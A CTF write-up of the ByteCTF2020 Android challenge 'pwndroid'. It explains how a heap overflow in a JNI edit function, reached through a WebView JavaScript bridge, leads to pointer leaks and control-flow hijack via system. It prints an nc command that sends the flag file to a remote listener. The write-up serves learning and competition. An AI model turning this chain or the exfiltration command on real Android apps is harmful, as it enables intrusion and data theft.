11月总是会有好事发生的。
This is a challenge from ByteCTF2020, a simple heap challenge but ran on android. I learned a lot about webview and native interface from it. Four teams solved it during the game, I’m lucky enough to get the flag in the last hour.
Recon
I have never tried any Android pwn challenge before, only have every limit knowledge about reversing an APK. The organizer provides an APK file and a website. The website is down when I’m writing this post, so I can only recall rough information from the webpage.
- The remote system is running x86 emulator with android default image, API version 24
- The player needs to solve a POW and provide an IP address
- I think the server will download the html file from the provided IP address and serve it on
http://192.168.1.1
- server kill previous
pwndroid
process and launch the APP viaadb shell am start -a "android.intent.action.VIEW" -d "pwndroid://192.168.1.1"
Native library file
Because this is a pwn challenge, this first thing came up in my mind was the Native Development Kit (NDK), so I did not fire up an APK decompiler first, but uncompress the APK and look for a .so
file. The is a native library call libNDKLib.so
in lib/x86
.
Open the lib file with ida, we can see a bunch of funcitons name start with Java_ctf_bytedance_pwndroid_JNITools_
, and some helper functions like ByteToHexStr
,HexStrToByte
,unhex
. Going through all these native functions, we found that there are add
, show
, free
, edit
, just like typical heap challenage in glibc. It trivial to spot that there might be a vulnerability in Java_ctf_bytedance_pwndroid_JNITools_edit
:
1 | int __cdecl Java_ctf_bytedance_pwndroid_JNITools_edit(int a1, int a2, int idx, size_t size, int content) |
So there is no check for the size before memcpy
, it might cause a heap overflow. But we need to figure out if there exist other checks on Java level.
APK Reversing
It took me a while to find a suitable tool for decompiling the APK, it turned out jadx-gui
did a nice job. The APK is not obfuscated, so the core logic is not difficult to understand.
JNITools
class is an interface for the native library.NativeMethods
class is an interface for theJNITools
, it extracts arguments fromJSONObject
, invoking corresponding native library function, return the results, and process callbacks.JSBridge
class is the interface interacting with JavaScript, which is used to registerNativeMethods
.Pwnme
is the Activity class, which is used to registerJSBridge
and exposed the Javascript interface to Webview.
Overviewing the whole logic, the Pwnme
Activity accepts an URL from Intent, then open a webview. The JavaScript code on the webview can be used to interact with the native library, there are no checks and users can fully control the arguments of native function calls from the webview. It is kind of similar to the browser pwn challenge, we need to write JavaScript to construct the exploit.
Debug Environment
We can download Android studio, and with AVD Manager, we can download the correct image: x86, API 24, default. Then we can debug the application with adb
, the system has preinstalled gdbserver
, so it is pretty handy. But make sure the image is the default one, not the one with Google API and Play store. I once finished the exploit on the one with Google API and waste a few hours to debug.
We can forward the 4444 port of Android system to the host system with the command:
1 | adb forward tcp:4444 tcp:4444 |
and then lauch gdbserver inside Andorid
1 | gdbserver --attach :4444 `pid` |
now we can attach a gdb session to the gdbserver.
PoC
The next question is how to invoke the native functions from JavaScript. I searched the keyword: “jsbridge android native” on google and the first link told me the answer, with following Java code:
1 | class JsMethodApi { |
The corresponding JavaScript caller is like:
1 | <head> |
According to the decompiled result, we can construct following test the interface with following JavaScript code:
1 | <html> |
Launch the app with adb shell am start -a "android.intent.action.VIEW" -d "pwndroid://192.168.1.1"
, it will show a Toast message with invoking arguments, and the result will be displayed on the webview.
Now that we have verified the JSBridge works, and we know about the vulnerability, we can construct a PoC to crash the process.
1 | <html> |
This script overflows number 0 item on heap and trigger a crash.
1 | 10-27 03:22:27.318 3640 3651 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xf210458b in tid 3651 (HeapTaskDaemon) |
Exploit Development
With a heap overflow vulnerability, we want to know what we can control on the heap. From Java_ctf_bytedance_pwndroid_JNITools_add
, we know that the item struct is in the size of 8 bytes.
1 | int __cdecl Java_ctf_bytedance_pwndroid_JNITools_add(int a1, int a2, int a3, size_t size, int a5) |
And we can have a better view of the memory layout if we attach to the process after a simple heap spray, with following JavaScript code:
1 | for (i=0; i<0x10; i++) { |
We have the memory layout like following, where $B
is the base address of libNDKLib.so
:
1 | gef➤ set $B=0x8f284000 |
1 | +------------+ +--------------+ |
So we can first fill buf5
and show buf5
to leak buf8
ptr as well as print_handle
ptr. Because there is no size control on show function and it will terminal at \x00
.
Then we can have libNDKLib.so
base address and heap address.
Though Android is using jemalloc which I’m totally not familiar with. But with this memory layout we can easily achieve arbitrary read-write as well as hijack the control flow.
We can first overwrite buf8
ptr and leak libc address on libNDKLib.so
‘s bss. Then overwite print_handle
ptr to system
function. Triggering by showing the correct item, that will give us an arbitrary command execution. We can write the content to cat /data/local/tmp/flag | nc ip 31337
and send the flag back to remote server.
The exploit uses Promise to delay some function calls, otherwise, the new commands will be sent before the addresses were leak.
Here is the full exploit:
1 | <!-- ByteCTF{cc669ecc-e606-42cf-b534-70c0ce5795b8} --> |
Now we can deploy this html file on VPS, fire up nc -lvp 31337
to wait for the flag, and sumbit the ip address with following python script:
1 | import requests |
Wrapup
The challenge is scary at the first look, I predicted it involves some jemalloc heap exploitation techniques, but turns out it does not. I learned a lot about Android Native Development and Webview from this challenge.